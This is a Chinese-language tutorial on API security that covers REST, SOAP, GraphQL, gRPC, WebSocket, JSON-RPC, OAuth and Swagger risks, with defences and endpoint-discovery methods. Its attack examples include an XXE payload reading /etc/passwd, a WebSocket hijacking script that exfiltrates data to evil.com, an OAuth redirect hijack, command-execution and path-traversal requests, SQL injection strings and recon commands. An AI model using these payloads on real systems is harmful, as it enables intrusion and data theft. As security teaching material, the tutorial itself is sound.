API 安全基础

API 安全基础

一、API 核心概念

API(Application Programming Interface,应用程序编程接口) 是一组预定义的通信规则、协议与数据规范,用于实现不同软件、前后端、跨系统之间的数据交互与业务调用。

API 作为业务数据传输与功能调用的核心入口,是网络攻防的关键攻击面。攻击者可绕过前端交互限制,直接调用接口、篡改参数、越权访问后端数据,因此 API 安全是 Web 安全与红队测试的核心重点。

实例理解

当你使用手机 App 查询银行卡余额时:

  1. App 发起一个 HTTPS 请求:GET https://api.bank.com/v1/accounts/balance
  2. 请求头携带你的身份令牌:Authorization: Bearer eyJhbGciOiJIUzI1...
  3. 后端 API 验证令牌有效性,查询数据库,返回:
    {
      "account_id": "6222021001001234567",
      "balance": 12580.50,
      "currency": "CNY"
    }
  4. App 解析 JSON 并显示在界面上。

如果攻击者截获了这个请求,将 URL 中的 accounts/balance 修改为 admin/deleteUser,并尝试发送,若后端未做权限校验,攻击者就能绕过前端直接执行管理员操作——这正是 API 安全的核心风险所在。


二、主流 API 类型及安全风险

1. RESTful API

核心特征

  • 基于 HTTP 协议,以资源为核心
  • 使用 URL 标识资源,依靠 GET / POST / PUT / DELETE 区分增删改查操作
  • 默认采用 JSON 数据格式,是目前 Web、App、小程序最通用的接口规范

安全风险

  • BOLA(不安全对象引用):篡改路径 ID、参数 ID,水平越权查看 / 操作他人数据
  • BFLA(功能级未授权):越权访问管理员接口、高危操作接口
  • 批量赋值漏洞:恶意新增权限字段,实现权限提升

防御要点

  • 严格鉴权、资源 ID 权限校验
  • 参数白名单过滤
  • 禁止多余字段解析

实例演示

正常请求示例(获取用户信息)

GET /api/v2/users/10086 HTTP/1.1
Host: social.example.com
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...

响应:

{
  "id": 10086,
  "username": "zhang_san",
  "email": "zhang@example.com",
  "avatar": "https://cdn.example.com/avatars/10086.jpg"
}

BOLA 攻击示例: 攻击者登录自己的账户(ID=10086),获取到自己的个人信息后,将 URL 中的 10086 修改为 10087

GET /api/v2/users/10087 HTTP/1.1
Host: social.example.com
Authorization: Bearer [攻击者自己的合法Token]

若服务器返回用户 10087 的完整个人信息,则BOLA漏洞存在

BFLA 攻击示例: 普通用户尝试访问管理员专属接口:

POST /api/v2/admin/resetUserPassword HTTP/1.1
Host: social.example.com
Authorization: Bearer [普通用户Token]
Content-Type: application/json

{
  "user_id": 10086,
  "new_password": "hacked123"
}

若服务器返回 200 OK 且密码被成功重置,则存在垂直越权(BFLA)漏洞

批量赋值攻击示例: 正常用户注册请求:

POST /api/v2/users/register HTTP/1.1
Content-Type: application/json

{
  "username": "new_user",
  "password": "SecurePass123",
  "email": "new@example.com"
}

攻击者添加额外字段 "role": "admin"

POST /api/v2/users/register HTTP/1.1
Content-Type: application/json

{
  "username": "hacker",
  "password": "HackPass123",
  "email": "hacker@evil.com",
  "role": "admin"
}

若后端直接将 role 字段写入数据库,攻击者账户将被赋予管理员权限。


2. SOAP API

核心特征

  • 基于 XML 严格协议传输,数据包包含固定标签
  • 访问 ?wsdl 可获取完整接口说明书
  • 多用于金融、政务、老旧企业级系统

安全风险

  • XXE(XML 外部实体注入)
  • XPath 注入
  • 敏感业务接口明文暴露
  • WSDL 文档泄露造成接口全量暴露

防御要点

  • 禁用 XML 外部实体
  • 过滤特殊标签
  • 限制 WSDL 公网访问

实例演示

WSDL 文档泄露示例: 访问 http://bank.example.com/services/AccountService?wsdl,返回完整接口定义:

<wsdl:definitions targetNamespace="http://bank.example.com/">
  <wsdl:message name="getAccountRequest">
    <wsdl:part name="accountId" type="xsd:string"/>
  </wsdl:message>
  <wsdl:message name="getAccountResponse">
    <wsdl:part name="account" type="tns:Account"/>
  </wsdl:message>
  <wsdl:portType name="AccountPort">
    <wsdl:operation name="getAccount">
      <wsdl:input message="tns:getAccountRequest"/>
      <wsdl:output message="tns:getAccountResponse"/>
    </wsdl:operation>
    <!-- 暴露了内部函数 getAllAccounts -->
    <wsdl:operation name="getAllAccounts">
      <wsdl:output message="tns:getAllAccountsResponse"/>
    </wsdl:operation>
  </wsdl:portType>
</wsdl:definitions>

从 WSDL 中发现 getAllAccounts 操作,攻击者可直接调用获取全量账户信息。

XXE 攻击示例: 正常 SOAP 请求:

POST /services/AccountService HTTP/1.1
Content-Type: text/xml

<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Body>
    <getAccount>
      <accountId>6222021001001234</accountId>
    </getAccount>
  </soap:Body>
</soap:Envelope>

攻击者在请求中注入外部实体:

POST /services/AccountService HTTP/1.1
Content-Type: text/xml

<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Body>
    <getAccount>
      <accountId>&xxe;</accountId>
    </getAccount>
  </soap:Body>
</soap:Envelope>

若响应中返回了 /etc/passwd 的内容,则XXE漏洞存在


3. GraphQL API

核心特征

  • 单一路由接入(常用 /graphql
  • 客户端自定义查询字段,按需获取数据,数据高度灵活

安全风险

  • 内省未关闭:通过 __schema 枚举全量接口、数据表、字段信息
  • 深度嵌套查询、批量查询导致服务器资源耗尽、DoS 攻击
  • 未授权查询敏感数据

防御要点

  • 关闭生产环境内省功能
  • 限制查询深度与请求频次
  • 接口权限管控

实例演示

端点探测示例: 访问 https://target.com/graphql 返回:

{
  "errors": [{
    "message": "Must provide query string."
  }]
}

说明该端点即为 GraphQL 入口。

内省利用示例: 发送内省查询:

POST /graphql HTTP/1.1
Content-Type: application/json

{
  "query": "{ __schema { types { name fields { name type { name } } } } }"
}

响应泄露了完整的类型结构:

{
  "data": {
    "__schema": {
      "types": [
        {
          "name": "User",
          "fields": [
            {"name": "id", "type": {"name": "ID"}},
            {"name": "username", "type": {"name": "String"}},
            {"name": "email", "type": {"name": "String"}},
            {"name": "passwordHash", "type": {"name": "String"}},
            {"name": "isAdmin", "type": {"name": "Boolean"}}
          ]
        }
      ]
    }
  }
}

攻击者据此可构造精准查询窃取敏感数据。

深度嵌套 DoS 攻击示例

query {
  users {
    posts {
      comments {
        author {
          posts {
            comments {
              author {
                posts { ... } # 持续嵌套
              }
            }
          }
        }
      }
    }
  }
}

若服务器因资源耗尽而超时返回 503 Service Unavailable,则存在 DoS 风险


4. gRPC API

核心特征

  • 基于 HTTP/2 协议
  • 采用 Protobuf 二进制序列化传输,效率高、延迟低
  • 多用于微服务内部通信

安全风险

  • 二进制流量无法被常规扫描器识别,安全测试难度大
  • 未授权访问、微服务内网接口暴露
  • HTTP/2 协议层攻击

防御要点

  • 内网隔离
  • 服务间认证
  • 限制公网直接暴露 gRPC 服务

实例演示

抓包识别示例: 在 Burp Suite 中捕获到以下流量特征:

PRI * HTTP/2.0
SM
...

后续数据帧内容显示为不可读的十六进制乱码:

00 00 12 04 00 00 00 00 00 00 03 00 00 00 64 00 04 08 01 00 00 00 0a ...

这表明目标使用 gRPC 协议。

未授权访问测试示例: 若发现公网暴露的 gRPC 服务端口(如 50051),使用 grpcurl 工具探测:

# 列出所有服务
grpcurl -plaintext target.com:50051 list

# 调用敏感方法(未授权)
grpcurl -plaintext -d '{"user_id":"1"}' target.com:50051 user.UserService/GetUserInfo

若成功返回用户数据,则说明存在未授权访问漏洞


5. WebSocket API

核心特征

  • 长连接全双工通信
  • 请求头携带 Upgrade: websocket
  • 协议标识 ws / wss
  • 适用于实时聊天、消息推送、在线协同场景

安全风险

  • CSWSH(跨站 WebSocket 劫持)
  • 消息恶意注入
  • 未校验来源域名
  • 实时数据窃取与篡改

防御要点

  • 校验 Origin / Referer 请求头
  • 长连接身份绑定
  • 消息内容过滤

实例演示

握手包识别示例

GET /ws/chat HTTP/1.1
Host: chat.example.com
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Origin: https://chat.example.com

CSWSH 攻击示例: 攻击者在恶意站点 evil.com 上部署以下代码:

<script>
  var ws = new WebSocket('wss://chat.example.com/ws/chat');
  ws.onopen = function() {
    ws.send(JSON.stringify({
      action: "send_message",
      to: "admin",
      content: "请点击钓鱼链接:https://evil.com/fake"
    }));
  };
  ws.onmessage = function(event) {
    fetch('https://evil.com/steal?data=' + btoa(event.data));
  };
</script>

当受害者访问 evil.com 且已登录 chat.example.com 时,恶意脚本会复用受害者的认证 Cookie 建立 WebSocket 连接,以受害者身份发送消息或窃取对话内容。


6. JSON-RPC API

核心特征

  • 轻量级远程调用协议
  • 固定字段 jsonrpcmethodid
  • 单一接口端点
  • 常用于区块链、轻量化后端服务

安全风险

  • 高危方法未授权调用
  • 参数可控注入
  • 远程代码执行风险

防御要点

  • 限制高危方法访问
  • 接口统一鉴权
  • 请求参数校验

实例演示

请求识别示例

POST /api/rpc HTTP/1.1
Content-Type: application/json

{
  "jsonrpc": "2.0",
  "method": "user.login",
  "params": {"username": "admin", "password": "123456"},
  "id": 1
}

未授权高危方法调用示例: 攻击者枚举方法名,尝试调用内部管理方法:

POST /api/rpc HTTP/1.1
Content-Type: application/json

{
  "jsonrpc": "2.0",
  "method": "system.exec",
  "params": {"cmd": "id"},
  "id": 2
}

若响应返回:

{
  "jsonrpc": "2.0",
  "result": "uid=1000(www) gid=1000(www)...",
  "id": 2
}

则说明存在 RCE 漏洞


7. OAuth 2.0 / OIDC

核心说明

  • 不属于 API 接口协议,是第三方授权标准
  • 用于实现免密登录、第三方数据授权

安全风险

  • 重定向地址劫持
  • 授权码泄露
  • 权限范围滥用
  • CSRF 绑定劫持

防御要点

  • 严格校验 redirect_uri
  • 绑定随机 state 参数
  • 最小权限授权

实例演示

授权码劫持示例: 正常的 OAuth 授权请求:

https://auth.example.com/oauth/authorize?
  client_id=app123&
  redirect_uri=https://app.example.com/callback&
  response_type=code&
  scope=read&
  state=xyz123

攻击者构造恶意链接,将 redirect_uri 改为自己的服务器:

https://auth.example.com/oauth/authorize?
  client_id=app123&
  redirect_uri=https://evil.com/callback&
  response_type=code&
  scope=read

若授权服务器未严格校验 redirect_uri,则授权码 code 会被发送到 evil.com,攻击者可凭此码换取受害者的访问令牌。

CSRF 绑定劫持示例: 攻击者在论坛中嵌入图片:

<img src="https://auth.example.com/oauth/authorize?client_id=app123&response_type=code&redirect_uri=https://app.example.com/callback&state=attacker_state">

受害者浏览该页面时,浏览器会自动发起授权请求,将其第三方账户与攻击者控制的 state 绑定,后续攻击者可利用此绑定关系登录受害者账户。


8. OpenAPI / Swagger

核心说明

  • 接口描述规范,用于标准化编写、管理、调试 REST 接口
  • 自动生成接口文档

安全风险

  • 生产环境接口文档公网泄露
  • 攻击者一键获取全部接口路径、请求参数、调用方式,极大缩小攻击范围

防御要点

  • 生产环境禁用 Swagger
  • 接口文档仅内网访问
  • 添加访问密码

实例演示

接口文档泄露示例: 访问 https://target.com/swagger-ui.html,直接展示 Swagger 调试界面,列出了所有 API 端点:

方法 路径 描述
POST /api/admin/resetDatabase 重置数据库(仅管理员)
GET /api/users/exportAll 导出全部用户数据
DELETE /api/orders/{id} 删除订单

攻击者下载 https://target.com/v3/api-docs 文件,导入 Postman:

  1. 打开 Postman → Import → Link → 粘贴 JSON URL
  2. 一键生成完整的接口调用集合
  3. 针对每个接口逐一测试未授权访问、越权漏洞

三、API 类型快速识别对照表

流量 / 访问特征 接口类型 重点测试方向 实例演示
请求体含 query、单一路由 GraphQL 关闭内省、嵌套查询限制 POST /graphql 请求体为 {"query":"{ user { id } }"}
链接携带 ?wsdl、纯 XML 报文 SOAP XXE 注入、解析 WSDL 枚举接口 GET /Service?wsdl 返回 <wsdl:definitions>
请求头 Upgrade: websocket WebSocket CSWSH 劫持、消息注入 Burp WebSockets History 中出现双向消息帧
HTTP/2 二进制乱码流量 gRPC 微服务未授权、协议层测试 抓包显示 PRI * HTTP/2.0 + 十六进制乱码
资源路径 + HTTP 方法操作 RESTful 越权 BOLA、未授权访问 GET /users/123PATCH /users/123
固定 jsonrpc 字段请求 JSON-RPC 高危方法调用、权限绕过 请求体必含 "jsonrpc":"2.0","method":"xxx"
/swagger-ui.html/api-docs 接口文档泄露 下载文档批量梳理攻击面 访问 /swagger-ui.html 直接展示接口调试页面

四、API 全流程检测与发现

1. 被动接口发现

无主动发包、无探测流量,隐蔽性强,适用于前期情报搜集。

维度 方法 常用工具 实例演示
前端资源分析 爬取 JS、Vue/React 打包文件、配置文件,正则匹配 API 路由、域名、接口路径,提取硬编码接口 LinkFinder、JSFinder grep -Ero "https?://[^\"']+api[^\"']*" main.js 提取出 https://internal-api.target.com/v2/admin/users
历史归档与开源泄露 利用时光机、代码托管平台,收集历史废弃接口、测试环境接口、配置文件泄露内容 gau、GitHub/Gitee 搜索 在 GitHub 搜索 target.com api_key,发现未删除的测试文件 config.php 包含数据库密码
流量与终端分析 浏览器历史流量、抓包缓存、APP 静态反编译,提取隐藏接口与后端地址 MobSF 对安卓 APK 进行反编译,在 strings.xml 中发现 https://api.target.com/beta/legacyLogin
被动 DNS 与子域挖掘 收集 apigatewayopen 类子域名,梳理 API 专属资产 子域名挖掘工具 subfinder -d target.com | grep -E "api|gateway|open" 发现 internal-api.target.com

JSFinder 使用示例

python JSFinder.py -u https://target.com -d -ou api_urls.txt

输出示例:

https://api.target.com/v1/users
https://api.target.com/v1/orders
https://api.target.com/internal/metrics
wss://ws.target.com/realtime

2. 主动接口发现

主动发送探测请求,批量枚举隐藏、测试、遗留接口,覆盖范围全面。

维度 方法 常用工具 实例演示
目录路由爆破 使用字典批量请求 api 前缀、版本路径、管理后台接口,结合状态码与响应长度筛选有效接口 ffuf、dirsearch、Burp Intruder ffuf -w api_dict.txt -u https://target.com/FUZZ -fc 404 发现 /api/v2/ 返回 403,说明存在但需认证
调试文档主动探测 扫描 Swagger、GraphQL、Actuator、YApi 等调试端点,直接获取接口清单 字典扫描 访问 /actuator/mappings 返回 Spring Boot 全部路由映射
多请求方法探测 使用 GET / POST / PUT / DELETE / OPTIONS 多方法测试,绕过方法限制与简单拦截 Burp Repeater POST /api/deleteUser 改为 GET /api/deleteUser?id=1,绕过 WAF 拦截
端口与服务探测 全端口扫描,识别微服务、网关、中间件开放端口,挖掘内网暴露接口 Nmap nmap -p 8000-9000 target.com 发现 8080 端口开放 Jenkins 未授权访问

ffuf 爆破示例

ffuf -w /usr/share/wordlists/api-endpoints.txt -u https://target.com/FUZZ -t 100 -o result.json

响应分析:

  • /api/v1/users200 OK,长度 1523
  • /api/v1/admin403 Forbidden,长度 122
  • /api/internal404 Not Found

3. 响应提示与报错信息利用

通过正常响应、差异化返回、框架报错、调试回显,挖掘敏感信息与业务逻辑。

方法 利用点 实例演示
业务提示差异 通过“用户不存在 / 权限不足 / 参数错误”等返回,枚举账号、ID、订单等资源,判断越权风险 登录接口:输入 admin 返回“密码错误”,输入 notexist 返回“用户不存在”,据此枚举有效用户名
框架堆栈报错 SpringBoot、ThinkPHP、Python 等框架错误,泄露服务器物理路径、源码结构、SQL 语句、库表字段、组件版本 访问 /api/user?id=1' 触发 SQL 报错,返回 java.sql.SQLSyntaxErrorException: ... near '1''' at line 1,泄露数据库类型为 MySQL
状态码与响应长度 依靠 401 / 403 / 404 / 200 差异,区分接口是否存在、是否需要鉴权、是否有权限限制 /api/admin 发送不带 Token 的请求返回 401,带普通用户 Token 返回 403,带管理员 Token 返回 200,说明存在功能级权限控制
畸形参数触发异常 传入非法 JSON、特殊字符、缺失参数,触发解析错误,推导参数格式、校验规则、后端架构 发送 {"username": "test' OR '1'='1"},响应 {"error": "Unexpected token ' in JSON"},说明后端未使用参数化查询,可能存在 SQL 注入

Spring Boot 报错利用示例: 请求:

GET /api/v1/users?id=1' HTTP/1.1

响应:

{
  "timestamp": "2026-04-22T10:00:00Z",
  "status": 500,
  "error": "Internal Server Error",
  "path": "/api/v1/users",
  "trace": "java.sql.SQLException: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1\n\tat com.example.dao.UserDao.getUser(UserDao.java:42)"
}

泄露信息:

  • 数据库:MySQL
  • 数据访问层类:com.example.dao.UserDao
  • 漏洞代码行号:42

五、API 攻击面映射

1. 接口入口层

  • 公网开放接口
  • API 网关
  • 微服务路由
  • Web / App / 小程序 / 第三方对接入口
  • 测试环境调试接口

实例

  • 未删除的测试接口 https://target.com/api/debug/exec?cmd=whoami 直接执行系统命令。
  • 第三方支付回调接口 https://target.com/api/payment/callback 未验证签名,攻击者伪造回调将订单状态改为“已支付”。

2. 协议与请求层

  • HTTP/2、gRPC、SOAP、WebSocket 等协议
  • 请求头、数据格式、签名规则、加密方式、跨域配置

实例

  • 签名重放攻击:API 签名算法为 sign = MD5(timestamp + secret),但未校验 timestamp 是否过期。攻击者截获一小时前的合法请求,重复发送 100 次,执行批量转账操作。
  • CORS 配置错误:响应头返回 Access-Control-Allow-Origin: *Access-Control-Allow-Credentials: true,攻击者可在恶意页面中发起跨域请求窃取敏感数据。

3. 认证与权限层

  • Cookie、Session、JWT、Token、AK/SK 等认证方式
  • 游客 / 普通用户 / 管理员多角色权限
  • 水平越权、垂直越权、未授权访问边界

实例

  • JWT 算法混淆攻击:JWT 头部为 {"alg":"RS256"},攻击者将其改为 {"alg":"HS256"},并使用服务端公钥作为 HMAC 密钥重新签名,成功绕过签名校验。
  • 垂直越权:普通用户请求 /api/admin/users 返回 403,但将方法从 GET 改为 POST 后返回 200 并成功创建管理员账户。

4. 业务功能层

  • 账号认证
  • 数据查询、新增、删除
  • 文件上传下载
  • 批量操作、数据导出
  • 消息回调、定时任务
  • 支付接口等高风险模块

实例

  • 支付金额篡改:请求体 {"order_id": "123", "amount": 100.00},攻击者修改为 {"order_id": "123", "amount": 0.01},后端未验证金额与实际订单是否一致,实现低价购买。
  • 批量操作无限制POST /api/deleteOrders 接受数组参数 {"ids": [1,2,3]},攻击者发送 {"ids": [1..10000]},删除所有订单。

5. 数据流转层

  • 可控入参
  • 敏感数据出参
  • 数据存储、缓存调用
  • 第三方数据交互
  • 日志敏感信息泄露

实例

  • 敏感信息过度返回GET /api/user/profile 返回 {"username":"alice","password_hash":"$2a$10$...","reset_token":"abc123"},密码哈希和重置令牌不应返回给客户端。
  • 日志明文记录密码:登录接口日志中记录 username=admin&password=Admin@123,日志文件被攻击者通过路径遍历漏洞读取。

6. 组件依赖层

  • Web 框架
  • 中间件
  • 微服务组件
  • 第三方依赖
  • 开源组件漏洞、版本老旧风险

实例

  • Fastjson 反序列化 RCE:目标 API 使用 Fastjson 1.2.60,攻击者发送包含 @type 的恶意 Payload,触发 JNDI 注入,反弹 Shell。
  • Shiro RememberMe 反序列化:响应头包含 Set-Cookie: rememberMe=deleteMe,攻击者使用公开的 AES 密钥构造恶意 Cookie,实现 RCE。

六、典型高危 API 攻击面汇总

高危类型 具体实例
接口未授权访问 /api/backup/download 无需认证即可下载全站源码备份包
弱口令认证 /api/admin/login 使用 admin/admin 即可登录管理后台
Token 长期有效 发放的 JWT Token 未设置过期时间,一次窃取永久可用
水平越权(BOLA) 修改 URL 中 order_id=10011002,查看他人订单详情及收货地址
垂直越权(BFLA) 普通用户通过 /api/admin/deleteUser?userId=123 删除任意用户
文件上传漏洞 头像上传接口未限制后缀,上传 shell.jsp 获取 Webshell
任意文件下载 /api/download?file=../../../../etc/passwd 读取系统敏感文件
SQL 注入 /api/search?keyword=test' OR '1'='1 返回全表数据
反序列化 RCE 接受序列化对象的接口,传入恶意 ysoserial 载荷执行命令
XSS 跨站脚本 API 返回的错误信息中未转义用户输入:{"error": "用户 <script>alert(1)</script> 不存在"}
调试接口未清理 /actuator/heapdump 下载 JVM 内存快照,分析出明文数据库密码
接口文档泄露 /swagger-ui.html 直接列出 /admin/resetDatabase 等危险接口
微服务内网暴露 网关将内部服务 /internal/getAllSecrets 错误代理至公网

← RESTful API 安全测试实战——基于 PortSwigger 靶场的攻防解析 CVE-2026-31431(Copy Fail)完整漏洞分析、复现与利用 →